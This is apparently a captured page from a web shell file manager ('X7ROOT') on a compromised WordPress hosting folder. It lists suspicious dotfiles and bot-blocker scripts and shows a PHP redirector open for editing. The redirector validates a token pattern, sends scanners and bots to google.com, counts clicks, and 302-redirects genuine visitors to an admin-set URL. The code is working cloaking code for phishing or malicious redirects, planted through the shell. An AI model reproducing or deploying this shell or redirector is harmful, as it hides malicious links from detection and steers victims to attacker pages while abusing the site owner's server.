X7ROOT File Manager
Current Path:
/home/gfecatvj/public_html/wp
home
/
gfecatvj
/
public_html
/
wp
/
📁
..
📄
.class
(95 B)
📄
.content
(63 B)
📄
.db2_convert
(47 B)
📄
.htaccess
(259 B)
📄
.include
(95 B)
📄
.internal
(57 B)
📄
.lock
(52 B)
📄
.locked
(1.06 KB)
📄
.mb_convert
(49 B)
📄
.oauthexceptions
(95 B)
📄
.request
(56 B)
📄
.requests
(1.06 KB)
📄
.rfind
(53 B)
📄
.rjust
(59 B)
📄
.system
(55 B)
📄
admin.php
(2.82 KB)
📄
blocker.php
(4.77 KB)
📄
blocker2.php
(9.63 KB)
📄
data.json
(102 B)
📄
error_log
(3.49 KB)
📄
index.php
(1.82 KB)
📄
redirect-full-stop (1).zip
(5.13 KB)
Editing: index.php
<?php // === Config === $botProtection = true; // Enable/disable StopBot blocker $botRedirection = "https://google.com"; // Where to send blocked traffic (blank => 404) $dataFile = __DIR__ . "/data.json"; // Admin panel storage // === Load current settings from admin panel === if (!file_exists($dataFile)) { file_put_contents($dataFile, json_encode([ "redirect_url" => "https://example.com", "clicks" => 0, "blocked_bots" => 0 ], JSON_UNESCAPED_SLASHES)); } $settings = json_decode(file_get_contents($dataFile), true); $target_url = isset($settings["redirect_url"]) && $settings["redirect_url"] ? $settings["redirect_url"] : "https://example.com"; // === Parameter dari URL === $mac = $_GET['_token'] ?? null; $id = $_GET['type'] ?? null; // === Validasi ID === function isValidId($id) { return is_numeric($id) && strlen($id) === 6 && $id % 3 === 0; } // === Validasi MAC (24 karakter, A–F dan 2–9) === function isValidMac($mac) { return preg_match('/^[A-F2-9]{24}$/', $mac); } // Cek apakah semua valid if (!isValidMac($mac) || !isValidId($id)) { http_response_code(403); echo "Invalid access."; exit; } // Jika URL target kosong if (!$target_url) { http_response_code(404); echo "Not Found."; exit; } // === StopBot blocker (jika aktif) === if ($botProtection) { $RedirectURL = $botRedirection; // Expected by blocker.php include_once __DIR__ . "/blocker.php"; } // === Tambah counter klik === $settings["clicks"] = isset($settings["clicks"]) ? (int)$settings["clicks"] + 1 : 1; file_put_contents($dataFile, json_encode($settings, JSON_UNESCAPED_SLASHES)); // === Redirect === header("Location: " . $target_url, true, 302); exit;
Upload File
Create Folder